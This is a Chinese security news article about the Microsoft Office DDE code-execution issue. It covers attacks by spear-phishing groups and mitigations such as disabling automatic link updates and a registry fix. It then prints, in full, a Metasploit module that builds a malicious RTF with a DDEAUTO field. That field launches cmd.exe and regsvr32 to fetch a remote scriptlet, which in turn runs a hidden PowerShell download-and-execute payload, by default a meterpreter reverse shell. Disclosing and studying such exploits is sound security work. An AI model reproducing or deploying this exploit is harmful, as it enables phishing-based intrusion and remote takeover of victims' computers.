被微软忽略的Office DDE漏洞已经开始遭到利用(含POC)

华盟原创文章投稿奖励计划

上月末思科安全研究人员发现 Microsoft Office 动态数据交换功能 DDE 允许攻击者在目标设备执行任意代码。该功能无需用户启用宏命令或者内存溢出等问题即可展开攻击,但微软认为这个不是安全问题因此并未修复。微软公司认为 DDE 只是功能而非安全问题因此无法删除或修复,但可以在未来使用 DDE 功能时向用户发出提醒。

但正如思科安全研究人员预料的那样:目前已经有众多黑客组织开始利用该问题向目标设备进行鱼叉式攻击。

动态数据交换功能 DDE 介绍

该功能内置于 Microsoft Office 软件的系列组件之中,受影响的包括 Word、Excel 甚至 Visual Basic 等软件。DDE 主要是微软用来允许两个正在使用的应用程序共享数据的方式,在使用该功能时 Office 会弹出提醒来。但是这个提醒允许特定文档制作者通过修改语法的形式进行修改,因此可以诱导用户点击确定允许 DDE 执行。

QQ图片20171217112255.png

(上图为微软默认的提醒,下图为伪造的提醒)

黑客组织开始利用该漏洞

迈克菲的安全研究人员本周公布的分析报告显示,目前已经有众多黑客组织利用该问题进行鱼叉式钓鱼攻击。所谓鱼叉式钓鱼攻击即只针对某个人或者其设备而非普遍性的入侵,因此攻击者通常都是为了机密信息而来。

由于 DDE 本身是 Microsoft Office 系列软件的合法功能,所以绝大多数安全软件不会阻止 DDE 字段文档运行。而用户打开攻击者特制文档并允许运行 DDE 功能后,文档里内嵌的代码会运行并连接远程服务器下载新病毒。例如迈克菲研究人员已经监测到借助 DDE 功能感染并下载的新网络间谍软件包括 X-Agent 以及 Sedreco 等等。

QQ图片3.png

微软不处理,只能依靠用户自己了

由于微软认为这并不是安全问题因此没有发布解决方案,只是说未来会更新运行 DDE 功能时的安全提醒内容。用户而言如果担心安全的话可以自己先禁用,禁用后即使遇到特定文档也不会自动打开 DDE 运行确认对话框。使用的是 Microsoft Office 2016 可以打开 Word —文件—选项—高级—常规—取消勾选打开时自动更新链接。

对于 Excel 2016 同样位于文件—选项—高级—常规—取消勾选请求自动更新链接,或者直接修改注册表禁用。

QQ图4.png

直接通过注册表禁用 DDE 数据交换功能

手动修改麻烦的话可以直接使用 Github 上开发者维护的注册表,可直接禁用掉 Office 系列软件的 DDE 功能。

下载该注册表后双击打开再点击合并即可:https://dl.lancdn.com/landian/Regedit/Disable_DDEAuto.reg 或者前往 Github 上下载:https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b

注:注册表仅支持 Microsoft Office 2016、Microsoft Office 2013、Microsoft Office 2010 及 Office 365。

poc

##

# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

 

class MetasploitModule  < Msf::Exploit::Remote

Rank = ManualRanking

 

include Msf::Exploit::Remote::HttpServer

include Msf::Exploit::FILEFORMAT

include Msf::Exploit::Powershell

include Msf::Exploit::EXE

 

def initialize(info  = {})

super(update_info(info,

‘Name’ => ‘Microsoft Office DDE Payload Delivery’,

‘Description’ => %q{

This module generates an DDE command to place within

a word document, that when executed, will retrieve a HTA payload

via HTTP from an web server.

},

‘Author’ => ‘mumbai’,

‘License’ => MSF_LICENSE,

‘DisclosureDate’ => ‘Oct 9 2017′,

‘References’ => [

['URL', 'https://gist.github.com/xillwillx/171c24c8e23512a891910824f506f563'],

['URL', 'https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/']

],

‘Arch’ => [ARCH_X86, ARCH_X64],

‘Platform’ => ‘win’,

‘Stance’ => Msf::Exploit::Stance::Aggressive,

‘Targets’ =>

[

['Microsoft Office', {} ],

],

‘DefaultTarget’ => 0,

‘Payload’ => {

‘DisableNops’ => true

},

‘DefaultOptions’ => {

‘DisablePayloadHandler’ => false,

‘PAYLOAD’ => ‘windows/meterpreter/reverse_tcp’,

‘EXITFUNC’ => ‘thread’

}

))

register_options([

OptString.new("FILENAME", [true, "Filename to save as", "msf.rtf"]),

OptPath.new(“INJECT_PATH”, [false, "Path to file to inject", nil])

])

end

 

def gen_psh(url, *method)

ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl

 

if method.include? ‘string’

download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))

else

# Random filename to use, if there isn’t anything set

random = “#{rand_text_alphanumeric 8}.exe”

# Set filename (Use random filename if empty)

filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']

 

# Set path (Use %TEMP% if empty)

path = datastore['BinaryEXE-PATH'].blank? ? “$env:temp” : %Q(‘#{datastore['BinaryEXE-PATH']}’)

 

# Join Path and Filename

file = %Q(echo (#{path}+’\\#{filename}’))

 

# Generate download PowerShell command

download_string = Rex::Powershell::PshMethods.download_run(url, file)

end

 

download_and_run = “#{ignore_cert}#{download_string}”

 

# Generate main PowerShell command

return generate_psh_command_line(noprofile: true, windowstyle: ‘hidden’, command: download_and_run)

end

 

def on_request_uri(cli, _request)

if _request.raw_uri =~ /\.sct$/

print_status(“Handling request for .sct from #{cli.peerhost}”)

payload = gen_psh(“#{get_uri}”, “string”)

data = gen_sct_file(payload)

send_response(cli, data, ‘Content-Type’ => ‘text/plain’)

else

print_status(“Delivering payload to #{cli.peerhost}…”)

p = regenerate_payload(cli)

data = cmd_psh_payload(p.encoded,

payload_instance.arch.first,

remove_comspec: true,

exec_in_place: true

)

send_response(cli, data, ‘Content-Type’ => ‘application/octet-stream’)

end

end

 

 

def rand_class_id

“#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}”

end

 

 

def gen_sct_file(command)

# If the provided command is empty, a correctly formatted response is still needed (otherwise the system raises an error).

if command == ”

return %{<?XML version=”1.0″?><scriptlet><registration progid=”#{Rex::Text.rand_text_alphanumeric 8}” classid=”{#{rand_class_id}}”></registration></scriptlet>}

# If a command is provided, tell the target system to execute it.

else

return %{<?XML version=”1.0″?><scriptlet><registration progid=”#{Rex::Text.rand_text_alphanumeric 8}” classid=”{#{rand_class_id}}”><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}

end

end

 

def retrieve_header(filename)

if (not datastore['INJECT_PATH'].nil?)

path = “#{datastore['INJECT_PATH']}”

else

path = nil

end

if (not path.nil?)

if ::File.file?(path)

::File.open(path, ‘rb’) do |fd|

header = fd.read(fd.stat.size).split(‘{\*\datastore’).first

header = header.to_s

print_status(“Injecting #{path}…”)

return header

end

else

header = ‘{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}’ + “\n”

header << ‘{\*\generator Riched20 6.3.9600}\viewkind4\uc1′ + “\n”

header << ‘\pard\sa200\sl276\slmult1\f0\fs22\lang9′ + “\n”

end

else

header = ‘{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}’ + “\n”

header << ‘{\*\generator Riched20 6.3.9600}\viewkind4\uc1′ + “\n”

header << ‘\pard\sa200\sl276\slmult1\f0\fs22\lang9′ + “\n”

end

return header

end

 

def create_rtf

#

header = retrieve_header(datastore['FILENAME'])

field_class = ‘{\field{\*\fldinst {\rtlch\fcs1 \af31507 \ltrch\fcs0 \insrsid3807165  ‘

field_class << “DDEAUTO C:\\\\\\\\Programs\\\\\\\\Microsoft\\\\\\\\Office\\\\\\\\MSword.exe\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe \”/c regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll\” }}”

field_class << ‘{\fldrslt }}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sftnbj {\rtlch\fcs1 \af31507 \ltrch\fcs0′ + “\n”

field_class << ‘\insrsid5790315′ + “\n”

field_class << ‘\par }’

footer =  ‘}}’ # footer

rtf = header + field_class + footer

rtf

end

 

def primer

file_create(create_rtf)

end

end

#  #

*本文投稿作者:学霸么么哒,转载请注明来自FreeBuf.COM

本文原创,作者:AlexFrankly,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/html/188468.html

发表评论